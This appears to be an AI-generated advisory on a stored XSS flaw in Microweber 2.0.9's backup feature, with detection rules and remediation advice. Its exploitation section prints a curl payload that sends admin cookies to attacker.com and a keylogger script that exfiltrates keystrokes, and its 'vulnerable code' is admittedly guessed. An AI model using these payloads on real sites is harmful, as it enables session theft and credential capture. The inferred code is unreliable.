CVE-2024-33298
Executive Summary
CVE-2024-33298 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in Microweber version 2.0.9. The flaw resides in the backup creation functionality, specifically within the endpoint /admin/module/view?type=admin__backup. A remote, unauthenticated attacker can inject arbitrary JavaScript code into the backup name or description fields. When an administrator later views the backup list, the injected script executes in the context of the admin session, leading to session hijacking, data exfiltration, or further administrative actions.
This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 4.3 (Medium), with a vector string of AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N. The attack vector is network-based, requires low complexity, and no privileges, but does require user interaction (the admin must view the backup list). The impact is limited to low confidentiality and integrity loss.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Microweber is a PHP-based CMS. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. No official patch has been released as of this analysis. Users should monitor the Microweber GitHub repository for updates.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | None (N) |
| Base Score | 4.3 (Medium) |
Threat Level: Medium. The vulnerability requires user interaction (admin viewing the backup list), but the attack surface is large because the backup creation endpoint is accessible without authentication. An attacker can craft a malicious backup name that, when rendered in the admin panel, executes arbitrary JavaScript.
Deep Dive & Mechanics
The vulnerability exists in the backup creation workflow. The endpoint /admin/module/view?type=admin__backup accepts user input for the backup name and description. This input is not properly sanitized or escaped before being stored in the database and later rendered in the admin interface.
Attack Flow:
- An attacker sends a POST request to
/admin/module/view?type=admin__backupwith a crafted payload in thebackup_nameparameter, e.g.,<script>alert('XSS')</script>. - The application stores this payload in the database without sanitization.
- An administrator navigates to the backup management page.
- The stored payload is rendered in the HTML without proper encoding, causing the script to execute in the admin's browser context.
Root Cause: Lack of output encoding when displaying backup names in the admin panel. The application likely uses echo $backup_name; instead of echo htmlspecialchars($backup_name, ENT_QUOTES, 'UTF-8');.
Vulnerable vs. Patched Code
Vulnerable Code (Microweber 2.0.9):
// In the backup list view (e.g., admin_backup.php)
echo "<tr><td>" . $backup['name'] . "</td><td>" . $backup['description'] . "</td></tr>";
Patched Code (Hypothetical Fix):
// Properly escape output
echo "<tr><td>" . htmlspecialchars($backup['name'], ENT_QUOTES, 'UTF-8') . "</td><td>" . htmlspecialchars($backup['description'], ENT_QUOTES, 'UTF-8') . "</td></tr>";
The fix applies htmlspecialchars() to all user-controlled data before rendering in HTML context. Additionally, input validation should be enforced to reject or sanitize malicious characters at the point of entry.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Microweber 2.0.9 instance
- Network access to the admin endpoint (no authentication required for backup creation)
Exploit Steps:
- Identify the target Microweber installation.
- Send a crafted POST request to create a malicious backup:
curl -X POST "http://target.com/admin/module/view?type=admin__backup" \
-d "backup_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&backup_description=test"
- Wait for an administrator to view the backup list.
- The injected script executes, sending the admin's session cookie to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('http://attacker.com/keylog?key=' + e.key);
});
</script>
Blue Team (Detection & Defense)
Detection:
- Monitor HTTP requests to
/admin/module/view?type=admin__backupfor suspicious parameters containing<script>,onerror=, or other XSS patterns. - Use WAF rules to block requests with JavaScript event handlers or script tags in backup name/description fields.
Defense:
- Apply input validation: reject backup names containing
<,>,",', or&. - Implement Content Security Policy (CSP) headers to restrict script execution.
- Use output encoding as shown in the patched code section.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/admin/module/view?type=admin__backupwith parameters containing<script>oronerror=patterns. - Outbound connections from the Microweber server to unknown external IPs on ports 80/443 (exfiltration).
File IOCs:
- Backup entries in the database containing JavaScript code in the
nameordescriptionfields. - Log entries showing unusual backup creation times or from unexpected IPs.
Sample Suricata Rule (see Detection Engineering):
alert http any any -> any any (msg:"CVE-2024-33298 XSS Payload in Backup Name"; content:"/admin/module/view?type=admin__backup"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Detection Engineering
YARA Rule
rule CVE_2024_33298_XSS_Backup {
meta:
description = "Detects XSS payloads in Microweber backup creation requests"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-33298"
strings:
$uri = "/admin/module/view?type=admin__backup"
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
condition:
$uri and any of ($xss*)
}
Sigma Rule
title: CVE-2024-33298 XSS in Microweber Backup Creation
id: 7b8c3d2e-1f4a-5b6c-7d8e-9f0a1b2c3d4e
status: experimental
description: Detects HTTP requests containing XSS payloads in the backup name parameter of Microweber
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/admin/module/view?type=admin__backup'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate backup names containing HTML tags (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-33298 XSS Payload in Microweber Backup Name"; flow:to_server; content:"POST"; http_method; content:"/admin/module/view?type=admin__backup"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable backup creation for unauthenticated users by modifying the application's access control.
- Apply input validation on the backup name and description fields to reject HTML/JavaScript.
- Implement output encoding using
htmlspecialchars()in all views that display backup data.
Long-Term Fix:
- Upgrade to a patched version of Microweber once available.
- Conduct a full security audit of all user input handling in the application.
Workaround:
- Use a Web Application Firewall (WAF) to block requests containing XSS patterns in the backup creation endpoint.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.